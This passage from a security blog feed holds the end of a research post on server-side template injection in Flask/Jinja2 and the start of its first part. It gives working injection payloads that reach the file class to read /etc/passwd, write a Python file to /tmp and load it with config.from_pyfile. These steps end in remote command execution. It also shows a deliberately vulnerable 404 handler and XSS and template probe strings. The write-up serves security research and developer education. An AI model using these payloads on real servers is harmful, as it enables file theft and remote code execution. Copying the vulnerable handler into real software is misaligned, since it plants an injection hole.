&lt;p&gt;If you play with this payload a bit, you&#39;ll quickly notice that it doesn&#39;t work. There are several good reasons for that, which I&#39;ll get to shortly. The key takeaway, however, is that this payload uses several very important introspection utilities that we left out in our previous research: the &lt;code&gt;__mro__&lt;/code&gt; and &lt;code&gt;__subclasses__&lt;/code&gt; attributes.&lt;/p&gt;
&lt;p&gt;DISCLAIMER: The following explanations are very high level. I have no desire to act like I know more about this stuff than I do. Most of the time when I&#39;m dealing with obscure parts in the guts of a language/framework, I just try stuff to see if it gives me some desired behavior, but I don&#39;t always know why the end result is what it is. I am still learning the &#34;why&#34; behind these attributes, but I at least wanted to give you some sort of intro.&lt;/p&gt;
&lt;p&gt;The MRO in &lt;code&gt;__mro__&lt;/code&gt; stands for Method Resolution Order, and is defined &lt;a href=&#34;https://docs.python.org/release/2.6.4/library/stdtypes.html#class.__mro__&#34;&gt;here&lt;/a&gt; as, &#34;a tuple of classes that are considered when looking for base classes during method resolution.&#34; The &lt;code&gt;__mro__&lt;/code&gt; attribute consists of the object&#39;s inheritance map in a tuple consisting of the class, its base, its base&#39;s base, and so on up to &lt;code&gt;object&lt;/code&gt; (if using new-style classes). It is an attribute of each object&#39;s metaclass, but is a truly hidden attribute, as Python explicitely leaves it out of &lt;code&gt;dir&lt;/code&gt; output (see &lt;a href=&#34;http://hg.python.org/cpython/file/3a1db0d2747e/Objects/object.c#l1812&#34;&gt;Objects/object.c at line 1812&lt;/a&gt;) when conducting introspection.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;__subclasses__&lt;/code&gt; attribute is defined &lt;a href=&#34;https://docs.python.org/release/2.6.4/library/stdtypes.html#class.__subclasses__&#34;&gt;here&lt;/a&gt; as a method that &#34;keeps a list of weak references to its immediate subclasses.&#34; for each new-style class, and &#34;returns a list of all those references still alive.&#34;&lt;/p&gt;
&lt;p&gt;Greatly simplified, &lt;code&gt;__mro__&lt;/code&gt; allows us to go back up the tree of inherited objects in the current Python environment, and &lt;code&gt;__subclasses__&lt;/code&gt; lets us come back down. So what&#39;s the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type &lt;code&gt;str&lt;/code&gt;, we can crawl up the inheritance tree to the root &lt;code&gt;object&lt;/code&gt; class using &lt;code&gt;__mro__&lt;/code&gt;, then crawl back down to every new-style object in the Python environment using &lt;code&gt;__subclasses__&lt;/code&gt;. Yes, this gives us access to every class loaded in the current python environment. So, how do we leverage this new found capability?&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;There are a few things to consider here. The Python environment will consist of:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Things native to all Flask applications.&lt;/li&gt;
&lt;li&gt;Things custom to the target application.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We are after a universal exploit, so we want to set up our test environment to be as close to native Flask as possible. The more we add to the application in the way of imported libraries and 3rd party modules, the less universal our attack vector will become. Our previous proof-of-concept application was a good candidate for this, so let&#39;s continue to use it.&lt;/p&gt;
&lt;p&gt;The cool thing about what we&#39;re about to do is that it requires no modification of the target source in order to discover an exploit vector. In the previous article, we had to add some functionality to the vulnerability in order to conduct introspection. This is no longer required.&lt;/p&gt;
&lt;p&gt;The first thing we want to do is is select a new-style object to use for accessing the &lt;code&gt;object&lt;/code&gt; base class. We can simply use &lt;code&gt;&#39;&#39;&lt;/code&gt;, a blank string, object type &lt;code&gt;str&lt;/code&gt;. Then, we can use the &lt;code&gt;__mro__&lt;/code&gt; attribute to access the object&#39;s inherited classes. Inject &lt;code&gt;{{ &#39;&#39;.__class__.__mro__ }}&lt;/code&gt; as a payload into the SSTI vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_1.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_1.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We can see the previously discussed tuple being returned to us. Since we want go back to the root &lt;code&gt;object&lt;/code&gt; class, we&#39;ll leverage an index of &lt;code&gt;2&lt;/code&gt; to select the class type &lt;code&gt;object&lt;/code&gt;. Now that we&#39;re at the root object, we can leverage the &lt;code&gt;__subclasses__&lt;/code&gt; attribute to dump all of the classes used in the application. Inject &lt;code&gt;{{ &#39;&#39;.__class__.__mro__[2].__subclasses__() }}&lt;/code&gt; into the SSTI vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_2.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_2.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As you can see, there is a lot of stuff here. In the target application I am using, there are 572 accessible classes. This is where things get tricky, and why the tweeted payload mentioned above doesn&#39;t work. Remember, not every application&#39;s Python environment will look the same. The goal is to find something useful that leads to file or operating system access. It is probably not all that uncommon to find classes like &lt;code&gt;subprocess.Popen&lt;/code&gt; used somehere in an application that may not be otherwise exploitable, such as the application affected by the tweeted payload, but from what I&#39;ve found, nothing like this is available in native Flask. Luckily, there is capability in native Flask that allows us to achieve similar behavior.&lt;/p&gt;
&lt;p&gt;If you comb through the output of the previous payload, you should find the &lt;code&gt;&amp;lt;type &#39;file&#39;&amp;gt;&lt;/code&gt; object. This is the key to file system access. While &lt;code&gt;open&lt;/code&gt; is the builtin function for creating file objects, the &lt;code&gt;file&lt;/code&gt; class is also capable of instantiating file objects, and if we can instantiate a file object, then we can use methods like &lt;code&gt;read&lt;/code&gt; to extract the contents. To demonstrate this, find the index of the &lt;code&gt;file&lt;/code&gt; class and inject &lt;code&gt;{{ &#39;&#39;.__class__.__mro__[2].__subclasses__()[40](&#39;/etc/passwd&#39;).read() }}&lt;/code&gt; where &lt;code&gt;40&lt;/code&gt; is the index of the &lt;code&gt;&amp;lt;type &#39;file&#39;&amp;gt;&lt;/code&gt; object in my environment.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_3.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_3.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So, we&#39;ve now demonstrated that arbirtrary file access is possible via SSTI in Flask/Jinja2, but we&#39;re not done yet. My goal in this was Remote Code/Command Execution.&lt;/p&gt;
&lt;p&gt;The previous article referenced several methods of the &lt;code&gt;config&lt;/code&gt; object that load objects into the Flask configuration environment. One such method was the &lt;code&gt;from_pyfile&lt;/code&gt; method. Below is the code for the &lt;code&gt;from_pyfile&lt;/code&gt; method of the &lt;code&gt;Config&lt;/code&gt; class, &lt;code&gt;flask/config.py&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;from_pyfile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;silent&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;sd&#34;&gt;&#34;&#34;&#34;Updates the values in the config from a Python file.  This function&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        behaves as if the file was imported as module with the&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        :meth:`from_object` function.&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        :param filename: the filename of the config.  This can either be an&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;                         absolute filename or a filename relative to the&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;                         root path.&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        :param silent: set to `True` if you want silent failure for missing&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;                       files.&lt;/span&gt;

&lt;span class=&#34;sd&#34;&gt;        .. versionadded:: 0.7&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;           `silent` parameter.&lt;/span&gt;
&lt;span class=&#34;sd&#34;&gt;        &#34;&#34;&#34;&lt;/span&gt;
        &lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;path&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;root_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;n&#34;&gt;d&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;imp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;new_module&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&#39;config&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;vm&#34;&gt;__file__&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;config_file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
                &lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;compile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config_file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;exec&#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;vm&#34;&gt;__dict__&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;IOError&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;silent&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ENOENT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;errno&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;EISDIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
                &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;False&lt;/span&gt;
            &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;strerror&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;Unable to load configuration file (&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;)&#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;strerror&lt;/span&gt;
            &lt;span class=&#34;k&#34;&gt;raise&lt;/span&gt;
        &lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;from_object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There&#39;s a couple of interesting things here. The most obvious is the use of the &lt;code&gt;compile&lt;/code&gt; function against the contents of a file whose path is provided as a parameter. This would come in handy if we had a way to write files to the operating system, no? Well, as we just discussed, we do! We can use the aforementioned &lt;code&gt;file&lt;/code&gt; class to not only read files, but write them to world writeable locations on the target server. Then, we can call the &lt;code&gt;from_pyfile&lt;/code&gt; method through the SSTI vulnerability to compile the file and execute the contents. This is a 2 staged attack. First, inject something like &lt;code&gt;{{ &#39;&#39;.__class__.__mro__[2].__subclasses__()[40](&#39;/tmp/owned.cfg&#39;, &#39;w&#39;).write(&#39;&amp;lt;malicious code here&amp;gt;&#39;&#39;) }}&lt;/code&gt; into the SSTI vulnerability. Then, invoke the compilation process by injecting &lt;code&gt;{{ config.from_pyfile(&#39;/tmp/owned.cfg&#39;) }}&lt;/code&gt;. The code will execute upon compilation. Remote Code Execution achieved.&lt;/p&gt;
&lt;p&gt;But let&#39;s take it a step even further. While running code is great and all, having to go through a multi-step process for each block of code we want to run is tedious. Let&#39;s leverage the &lt;code&gt;from_pyfile&lt;/code&gt; method for its intended purpose and add something useful to the &lt;code&gt;config&lt;/code&gt; object. Inject &lt;code&gt;{{ &#39;&#39;.__class__.__mro__[2].__subclasses__()[40](&#39;/tmp/owned.cfg&#39;, &#39;w&#39;).write(&#39;from subprocess import check_output\n\nRUNCMD = check_output\n&#39;) }}&lt;/code&gt; into the SSTI vulnerability. This will write a file to the remote server that, when compiled, imports the &lt;code&gt;check_output&lt;/code&gt; method of the &lt;code&gt;subprocess&lt;/code&gt; module and sets it to a variable named &lt;code&gt;RUNCMD&lt;/code&gt;, which, if you recall from the previous article, will get added to the Flask &lt;code&gt;config&lt;/code&gt; object virtue of it being an attribute with an upper case name.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_4.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_4.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Inject &lt;code&gt;{{ config.from_pyfile(&#39;/tmp/owned.cfg&#39;) }}&lt;/code&gt; to add the new item to the &lt;code&gt;config&lt;/code&gt; object. Notice the difference between the following before and after images.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_5.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_5.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_6.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_6.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now we can invoke the new configuration item to run commands on the remote operating system. Demonstrate this by injecting &lt;code&gt;{{ config[&#39;RUNCMD&#39;](&#39;/usr/bin/id&#39;,shell=True) }}&lt;/code&gt; into the SSTI vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_p2_7.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_p2_7.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Remote Command Execution achieved.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;We can now close the book on escaping the Flask/Jinja2 template sandbox and conclude that the impact of SSTI in Flask/Jinja2 environments is substantial. I&#39;d also like to point out that this is largely the result of the way Python works, and not so much the fault of the Flask framework. I&#39;d be willing to bet that all of the Python MVC/MTV web frameworks suffer from similar exploitation vectors. Ultimately, it is up to the developers using these frameworks to properly follow template design best practices and ensure that their applications do not blindly trust user-supplied data.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="flask"/>
    </entry>
    <entry>
        <title>Exploring SSTI in Flask/Jinja2</title>
        <id>https://www.lanmaster53.com/blog/2016/03/09/exploring-ssti-flask-jinja2/</id>
        <link href="https://www.lanmaster53.com/blog/2016/03/09/exploring-ssti-flask-jinja2/"/>
        <published>2016-03-09T00:00:00Z</published>
        <updated>2016-03-09T00:00:00Z</updated>
        <summary>This is the first of two articles covering research into SSTI in the Flask/Jinja2 development stack. This article only tells half the story, but an important…</summary>
        <content type="html">&lt;p&gt;This is the first of two articles covering research into SSTI in the Flask/Jinja2 development stack. This article only tells half the story, but an important half that provides context to the final hack. Please consider reading both parts in their entirety. Part 2 can be found &lt;a href=&#34;/blog/2016/03/11/exploring-ssti-flask-jinja2-part-2/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;hr /&gt;
&lt;p&gt;If you&#39;ve never heard of Server-Side Template Injection (SSTI), or aren&#39;t exactly sure what it is, then read &lt;a href=&#34;http://blog.portswigger.net/2015/08/server-side-template-injection.html&#34;&gt;this article&lt;/a&gt; by &lt;a href=&#34;https://twitter.com/albinowax&#34;&gt;James Kettle&lt;/a&gt; before continuing.&lt;/p&gt;
&lt;p&gt;As security professionals, we are in the business of helping organizations make risk-based decisions. Seeing as risk is a product of impact and likelihood, without knowing the true impact of a vulnerability, we are unable to properly calculate the risk. As someone that frequently develops using the Flask framework, James&#39; research prompted me to determine the full impact of SSTI on applications developed using the Flask/Jinja2 development stack. This article is the result of that research. If you want a little more context before diving in, check out &lt;a href=&#34;https://nvisium.com/blog/2015/12/07/injecting-flask/&#34;&gt;this article&lt;/a&gt; by &lt;a href=&#34;https://twitter.com/_aur3lius&#34;&gt;Ryan Reid&lt;/a&gt; that provides a bit more context to what SSTI looks like in Flask/Jinja2 applications.&lt;/p&gt;
&lt;h3&gt;Setup&lt;/h3&gt;
&lt;p&gt;In order to assess SSTI in the Flask/Jinja2 stack, let&#39;s build a small proof-of-concept application that contains the following view.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;nd&#34;&gt;@app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errorhandler&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;404&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;page_not_found&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;template&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;&#39;&#39;{&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; extends &#34;layout.html&#34; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; block body &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;    &amp;lt;div class=&#34;center-content error&#34;&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;        &amp;lt;h1&amp;gt;Oops! That page doesn&#39;t exist.&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;        &amp;lt;h3&amp;gt;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;    &amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; endblock &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;&#39;&#39;&#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;url&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;render_template_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;template&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;404&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The scenario behind this code is that the developer thought it would be silly to have a separate template file for a small 404 page, so he created a template string within the 404 view function. The developer wanted to echo back to the user the URL which resulted in the error, but rather than pass the URL to the template context via the &lt;code&gt;render_template_string&lt;/code&gt; function, the developer chose to use string formatting to dynamically add the URL to the template string. Pretty reasonable, right? I&#39;ve seen worse.&lt;/p&gt;
&lt;p&gt;When exercising this functionality, we see the expected behavior.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_1.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_1.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Most people that see this behavior immediately think XSS, and they would be right. Appending &lt;code&gt;&amp;lt;script&amp;gt;alert(42)&amp;lt;/script&amp;gt;&lt;/code&gt; to the end of the URL triggers a XSS vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_2.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_2.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The target code is vulnerable to XSS, and if you read James&#39; article, he points out that XSS can be an indicator of possible SSTI. This is a good example of that. But if we dig a little deeper by appending &lt;code&gt;{{ 7+7 }}&lt;/code&gt; to the end of the URL, we&#39;ll see that the template engine evaluates the mathematical expression and the application responds with &lt;code&gt;14&lt;/code&gt; where the template syntax would have been.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/static/images/posts/ssti_flask_3.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/ssti_flask_3.png&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We have now discovered SSTI in the target application.&lt;/p&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;p&gt;Now that we have a working exploit, the next step is to dig into the template context and find out what is available to an attacker of the application through the SSTI vulnerability. Modify the vulnerable view function of the proof-of-concept application to look as follows.&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=&#34;nd&#34;&gt;@app&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;errorhandler&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;404&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;page_not_found&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
    &lt;span class=&#34;n&#34;&gt;template&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&#39;&#39;&#39;{&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; extends &#34;layout.html&#34; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; block body &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;    &amp;lt;div class=&#34;center-content error&#34;&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;        &amp;lt;h1&amp;gt;Oops! That page doesn&#39;t exist.&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;        &amp;lt;h3&amp;gt;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%s&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;    &amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt; endblock &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%%&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;}&lt;/span&gt;
&lt;span class=&#34;s1&#34;&gt;&#39;&#39;&#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;url&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
